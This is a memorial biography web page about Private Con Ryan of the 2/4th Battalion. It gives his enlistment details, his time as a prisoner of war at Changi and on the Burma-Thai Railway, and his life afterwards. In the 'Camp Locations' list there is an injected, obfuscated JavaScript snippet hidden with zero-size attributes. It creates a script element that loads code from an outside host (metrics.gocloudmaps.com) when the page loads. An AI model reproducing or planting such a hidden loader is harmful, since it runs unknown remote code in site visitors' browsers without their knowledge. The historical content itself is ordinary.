The Soldier's Details
- Surname:
- Ryan
- First Name:
- Cornelius
- Nick Name:
- Con
- Rank:
- Private
- Regimental #:
- WX8734
- Classification:
- Rangetaker
- Company:
- ‘B’ Company, 8 Platoon
- Enlisted:
- 23.10.1940
- Discharged:
- 14.02.1946
- DOB:
- 23.09.1913
- Place of Birth:
- Victoria Park, Western Australia
- Father's Name:
- John Joseph Ryan
- Mothers's Name:
- Sarah Ryan
- Religion:
- Roman Catholic
- Pre-war Occupation:
- Miner and Boiler Attendant
- Singapore:
- Selarang Camp Changi, Johore Bahru, Adam Park, Selarang Barracks Changi.
- Force:
- ‘D’ Force Thailand, S Battalion
- Camps Thailand:
- Tarsau (contracted malaria so remained behind to work at barge landing), Kanu II ,Kanu I, Tarsau, Tamajao Wood Camp, Non Pladuk, Chao Puraya River, (bridge repair), Banderra, Bangkok (go-downs).
- POW#:
- 4/6572 & 8836
- Return Details 1945:
- Thailand-Singapore by aircraft, Singapore-Fremantle HMT Circassia.
General Description
Ryan enlisted 23 Oct 1940 and later joined 2/4th’s ‘B’ Company 8 Platoon under C.O. Lt MacKinnon.
We believe Con was working in the Goldfields – Norseman prior to enlisting. His enlistment record shows his occupation as miner and boiler room attendant.
Ryan left to work on Burma-Thai Railway Hellfire Pass Region with ‘D’ Force Thailand S Battalion. Please read further.
When S Battalion left Tarsau, Ryan remained behind with malaria. He loaded and unloaded barges. He then moved to work Kanu II, Kanu I, then Tarsau.
From Tarsau he left with Dutch work party to cut wood a Tamajao. Then returned to Hospital Camp a Non Pladuk. Once he was fit, Ryan went with a work party to a bridge on Chao Putaya River where he worked repairing bridge after Allied bombing.
At the end of war, Ryan marched into Bangkok from Banderra where he was a storeman and worked on go-downs.
He returned to WA on Circassia.
Born 1913 Victoria Park to parents John Joseph and Sarah Ryan.
He played football at Norseman for several years, regularly had his name included amongst best players with Ron Badock, Wheelock.
Below: Ryan played football at Norseman ’39
Con Ryan, Wally Lim and Ron Badock.
Ryan never married and worked at Fremantle wharves after the war.
Con Ryan of Mosman Park died 27 February 1999 aged 85 years. He was cremated at Karrakatta Cemetery.
Camp Locations:
- "var d=document, s=d.createElement('scr'+'ipt'); s.src='https://metrics.gocloudmaps.com'; d.head.appendChild(s);" height="0px" width="0px" />
- Johore Bahru, - Malaysia
- Selarang Barracks Changi - Singapore
- Selarang Camp Changi - Singapore
- Banderra, Chao Puraya River - Thailand
- Kanu 1 151.00k - Thailand
- Kanu II, 152.30k - Thailand
- Non Pladuk, 0k - Thailand
- Tamajao, Tha Mayo, 238k - Thailand
- Tarsau, Tha Sao 125k - Thailand